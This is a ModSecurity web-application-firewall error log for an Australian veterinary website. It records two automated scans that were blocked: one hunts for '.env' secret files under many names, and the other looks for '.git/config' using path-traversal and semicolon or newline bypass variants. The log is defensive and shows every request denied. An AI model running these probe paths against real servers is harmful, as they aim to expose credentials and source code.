[Wed Nov 26 22:36:02.328904 2025] [:error] [pid 20733:tid 20743] [client 54.255.237.10:38346] [client 54.255.237.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env"] [unique_id "aScQUgV9EP2HuRvnH8d_wAAAAMg"]
[Wed Nov 26 22:36:02.722286 2025] [:error] [pid 45683:tid 45701] [client 54.255.237.10:38350] [client 54.255.237.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.local"] [unique_id "aScQUhX1gQgNFW_222rWVgAAAU0"]
[Wed Nov 26 22:36:03.117743 2025] [:error] [pid 20733:tid 20744] [client 54.255.237.10:38360] [client 54.255.237.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.dev"] [unique_id "aScQUwV9EP2HuRvnH8d_wQAAAMk"]
[Wed Nov 26 22:36:03.511209 2025] [:error] [pid 46443:tid 46447] [client 54.255.237.10:38364] [client 54.255.237.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.prod"] [unique_id "aScQU8LmDsnHrj-QFB8fSwAAAEI"]
[Wed Nov 26 22:36:03.942928 2025] [:error] [pid 45685:tid 45760] [client 54.255.237.10:38368] [client 54.255.237.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.staging"] [unique_id "aScQU1j3f_NRdgU0DQ4CEAAAARI"]
[Wed Nov 26 22:36:04.345697 2025] [:error] [pid 45769:tid 45782] [client 54.255.237.10:38378] [client 54.255.237.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.development"] [unique_id "aScQVFdG5Eht9c3yy4NL3wAAAco"]
[Wed Nov 26 22:36:04.751695 2025] [:error] [pid 6471:tid 6492] [client 54.255.237.10:38386] [client 54.255.237.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.production"] [unique_id "aScQVOh3Z9TZLlRuTiPArQAAAJI"]
[Wed Nov 26 22:36:05.146043 2025] [:error] [pid 45769:tid 45777] [client 54.255.237.10:38402] [client 54.255.237.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.test"] [unique_id "aScQVVdG5Eht9c3yy4NL4QAAAcU"]
[Wed Nov 26 22:36:05.540743 2025] [:error] [pid 46443:tid 46448] [client 54.255.237.10:38418] [client 54.255.237.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.backup"] [unique_id "aScQVcLmDsnHrj-QFB8fTwAAAEM"]
[Wed Nov 26 22:36:05.953802 2025] [:error] [pid 46443:tid 46469] [client 54.255.237.10:38432] [client 54.255.237.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env~"] [unique_id "aScQVcLmDsnHrj-QFB8fUgAAAFg"]
[Wed Nov 26 22:36:06.346257 2025] [:error] [pid 45685:tid 45746] [client 54.255.237.10:38442] [client 54.255.237.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.sample"] [unique_id "aScQVlj3f_NRdgU0DQ4CFAAAAQQ"]
[Wed Nov 26 22:36:06.742973 2025] [:error] [pid 45769:tid 45791] [client 54.255.237.10:45502] [client 54.255.237.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.old"] [unique_id "aScQVldG5Eht9c3yy4NL4gAAAdM"]
[Wed Nov 26 22:36:07.137118 2025] [:error] [pid 45769:tid 45794] [client 54.255.237.10:45518] [client 54.255.237.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.bak"] [unique_id "aScQV1dG5Eht9c3yy4NL4wAAAdY"]
[Wed Nov 26 22:36:07.540490 2025] [:error] [pid 6471:tid 6475] [client 54.255.237.10:45528] [client 54.255.237.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.save"] [unique_id "aScQV-h3Z9TZLlRuTiPAsgAAAIE"]
[Wed Nov 26 22:36:07.950444 2025] [:error] [pid 6471:tid 6474] [client 54.255.237.10:45542] [client 54.255.237.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.orig"] [unique_id "aScQV-h3Z9TZLlRuTiPAtQAAAIA"]
[Wed Nov 26 22:36:08.341523 2025] [:error] [pid 46443:tid 46446] [client 54.255.237.10:45558] [client 54.255.237.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.swp"] [unique_id "aScQWMLmDsnHrj-QFB8fXQAAAEE"]
[Wed Nov 26 22:36:08.734943 2025] [:error] [pid 45684:tid 45733] [client 54.255.237.10:45574] [client 54.255.237.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.tmp"] [unique_id "aScQWPg5LMxwI4-PD1edzQAAABI"]
[Wed Nov 26 22:36:09.128906 2025] [:error] [pid 20733:tid 20741] [client 54.255.237.10:45584] [client 54.255.237.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.dist"] [unique_id "aScQWQV9EP2HuRvnH8d_xAAAAMY"]
[Wed Nov 26 22:36:09.535782 2025] [:error] [pid 45685:tid 45751] [client 54.255.237.10:45598] [client 54.255.237.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/admin/.env"] [unique_id "aScQWVj3f_NRdgU0DQ4CGAAAAQk"]
[Wed Nov 26 22:36:09.927108 2025] [:error] [pid 45769:tid 45773] [client 54.255.237.10:45610] [client 54.255.237.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/admin/.env.save"] [unique_id "aScQWVdG5Eht9c3yy4NL5QAAAcE"]
[Wed Nov 26 22:36:10.322145 2025] [:error] [pid 45683:tid 45709] [client 54.255.237.10:45620] [client 54.255.237.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/admin/.env.bak"] [unique_id "aScQWhX1gQgNFW_222rWWQAAAVU"]
[Wed Nov 26 22:36:10.717516 2025] [:error] [pid 20733:tid 20755] [client 54.255.237.10:45626] [client 54.255.237.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/admin/.env.old"] [unique_id "aScQWgV9EP2HuRvnH8d_xwAAANQ"]
[Wed Nov 26 22:36:11.113586 2025] [:error] [pid 20733:tid 20754] [client 54.255.237.10:45642] [client 54.255.237.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/api/.env"] [unique_id "aScQWwV9EP2HuRvnH8d_yAAAANM"]
[Wed Nov 26 22:36:11.523816 2025] [:error] [pid 6471:tid 6480] [client 54.255.237.10:45654] [client 54.255.237.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/api/.env.save"] [unique_id "aScQW-h3Z9TZLlRuTiPAuwAAAIY"]
[Wed Nov 26 22:36:11.945140 2025] [:error] [pid 45683:tid 45696] [client 54.255.237.10:45662] [client 54.255.237.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/api/.env.bak"] [unique_id "aScQWxX1gQgNFW_222rWWgAAAUg"]
[Wed Nov 26 22:36:12.340765 2025] [:error] [pid 45769:tid 45795] [client 54.255.237.10:45676] [client 54.255.237.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/api/.env.old"] [unique_id "aScQXFdG5Eht9c3yy4NL6QAAAdc"]
[Wed Nov 26 22:36:12.733558 2025] [:error] [pid 45684:tid 45721] [client 54.255.237.10:45686] [client 54.255.237.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/app/.env"] [unique_id "aScQXPg5LMxwI4-PD1ed1AAAAAY"]
[Wed Nov 26 22:36:13.128504 2025] [:error] [pid 45684:tid 45720] [client 54.255.237.10:45698] [client 54.255.237.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/app/.env.save"] [unique_id "aScQXfg5LMxwI4-PD1ed1wAAAAU"]
[Wed Nov 26 22:36:13.527731 2025] [:error] [pid 45684:tid 45736] [client 54.255.237.10:45710] [client 54.255.237.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/app/.env.bak"] [unique_id "aScQXfg5LMxwI4-PD1ed2gAAABU"]
[Wed Nov 26 22:36:13.952872 2025] [:error] [pid 45684:tid 45727] [client 54.255.237.10:45714] [client 54.255.237.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/app/.env.old"] [unique_id "aScQXfg5LMxwI4-PD1ed3QAAAAw"]
[Thu Nov 27 00:33:20.044419 2025] [:error] [pid 25180:tid 25189] [client 213.21.239.4:43078] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/backup/.git/config"] [unique_id "aScr0L-owhtiwMHXYlzKJgAAAYc"]
[Thu Nov 27 00:33:20.044476 2025] [:error] [pid 25180:tid 25183] [client 213.21.239.4:43054] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/content../.git/config"] [unique_id "aScr0L-owhtiwMHXYlzKJwAAAYE"]
[Thu Nov 27 00:33:20.045625 2025] [:error] [pid 25262:tid 25326] [client 213.21.239.4:43116] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/api/.git/config"] [unique_id "aScr0E3p81VU3bYILBU4CgAAAgU"]
[Thu Nov 27 00:33:20.046263 2025] [:error] [pid 25180:tid 25182] [client 213.21.239.4:42996] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars/.git/%0Aconfig"] [unique_id "aScr0L-owhtiwMHXYlzKKAAAAYA"]
[Thu Nov 27 00:33:20.051444 2025] [:error] [pid 25180:tid 25184] [client 213.21.239.4:42966] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/assets../.git/config"] [unique_id "aScr0L-owhtiwMHXYlzKKQAAAYI"]
[Thu Nov 27 00:33:20.055938 2025] [:error] [pid 25262:tid 25338] [client 213.21.239.4:43084] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars/;/.git/config"] [unique_id "aScr0E3p81VU3bYILBU4CwAAAhE"]
[Thu Nov 27 00:33:20.057409 2025] [:error] [pid 24814:tid 25091] [client 213.21.239.4:43086] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/dev/.git/config"] [unique_id "aScr0APn1NMGCdo6RsibqQAAAVA"]
[Thu Nov 27 00:33:20.057361 2025] [:error] [pid 24814:tid 25094] [client 213.21.239.4:42964] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars/.git/config"] [unique_id "aScr0APn1NMGCdo6RsibqgAAAVM"]
[Thu Nov 27 00:33:20.058879 2025] [:error] [pid 24814:tid 25076] [client 213.21.239.4:43152] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/css../.git/config"] [unique_id "aScr0APn1NMGCdo6RsibrAAAAUE"]
[Thu Nov 27 00:33:20.059903 2025] [:error] [pid 25262:tid 25341] [client 213.21.239.4:43106] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars/static../.git/config"] [unique_id "aScr0E3p81VU3bYILBU4DAAAAhQ"]
[Thu Nov 27 00:33:20.062247 2025] [:error] [pid 25262:tid 25327] [client 213.21.239.4:42990] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars/..;/.git/config"] [unique_id "aScr0E3p81VU3bYILBU4DQAAAgY"]
[Thu Nov 27 00:33:20.062348 2025] [:error] [pid 25262:tid 25342] [client 213.21.239.4:42986] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/developer/.git/config"] [unique_id "aScr0E3p81VU3bYILBU4DgAAAhU"]
[Thu Nov 27 00:33:20.063336 2025] [:error] [pid 24826:tid 25129] [client 213.21.239.4:42948] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars../.git/config"] [unique_id "aScr0FEvPXLVl-nh-yLWgQAAAQ4"]
[Thu Nov 27 00:33:20.064181 2025] [:error] [pid 25262:tid 25336] [client 213.21.239.4:43038] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/application/.git/config"] [unique_id "aScr0E3p81VU3bYILBU4DwAAAg8"]
[Thu Nov 27 00:33:20.065387 2025] [:error] [pid 25262:tid 25344] [client 213.21.239.4:42960] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars/.git/config;.."] [unique_id "aScr0E3p81VU3bYILBU4EQAAAhc"]
[Thu Nov 27 00:33:20.066607 2025] [:error] [pid 25262:tid 25331] [client 213.21.239.4:43056] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/database/.git/config"] [unique_id "aScr0E3p81VU3bYILBU4EgAAAgo"]
[Thu Nov 27 00:33:20.070160 2025] [:error] [pid 25262:tid 25330] [client 213.21.239.4:43068] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/admin/.git/config"] [unique_id "aScr0E3p81VU3bYILBU4FAAAAgk"]
[Thu Nov 27 00:33:20.071053 2025] [:error] [pid 25262:tid 25335] [client 213.21.239.4:43088] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/common/.git/config"] [unique_id "aScr0E3p81VU3bYILBU4FQAAAg4"]
[Thu Nov 27 00:33:20.073044 2025] [:error] [pid 25262:tid 25323] [client 213.21.239.4:43144] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/app/.git/config"] [unique_id "aScr0E3p81VU3bYILBU4FgAAAgI"]
[Thu Nov 27 00:33:20.074175 2025] [:error] [pid 24826:tid 25127] [client 213.21.239.4:43172] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars/.git/config;"] [unique_id "aScr0FEvPXLVl-nh-yLWggAAAQw"]
[Thu Nov 27 00:33:23.199395 2025] [:error] [pid 24814:tid 25089] [client 213.21.239.4:58884] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au/;/.git/config"] [unique_id "aScr0wPn1NMGCdo6RsibsgAAAU4"]
[Thu Nov 27 00:33:23.201027 2025] [:error] [pid 25180:tid 25205] [client 213.21.239.4:58946] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/;/.git/config"] [unique_id "aScr07-owhtiwMHXYlzKLwAAAZc"]
[Thu Nov 27 00:33:23.204564 2025] [:error] [pid 25180:tid 25197] [client 213.21.239.4:59032] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config;"] [unique_id "aScr07-owhtiwMHXYlzKMAAAAY8"]
[Thu Nov 27 00:33:23.204714 2025] [:error] [pid 25262:tid 25328] [client 213.21.239.4:58988] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/img../.git/config"] [unique_id "aScr003p81VU3bYILBU4GgAAAgc"]
[Thu Nov 27 00:33:23.208234 2025] [:error] [pid 25262:tid 25333] [client 213.21.239.4:58916] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au/.git/%0Aconfig"] [unique_id "aScr003p81VU3bYILBU4GwAAAgw"]
[Thu Nov 27 00:33:23.209286 2025] [:error] [pid 24814:tid 25096] [client 213.21.239.4:58934] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vetstars.com.au../.git/config"] [unique_id "aScr0wPn1NMGCdo6RsibtAAAAVU"]
[Thu Nov 27 00:33:23.209402 2025] [:error] [pid 24814:tid 25091] [client 213.21.239.4:59024] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/%0Aconfig"] [unique_id "aScr0wPn1NMGCdo6RsibtQAAAVA"]
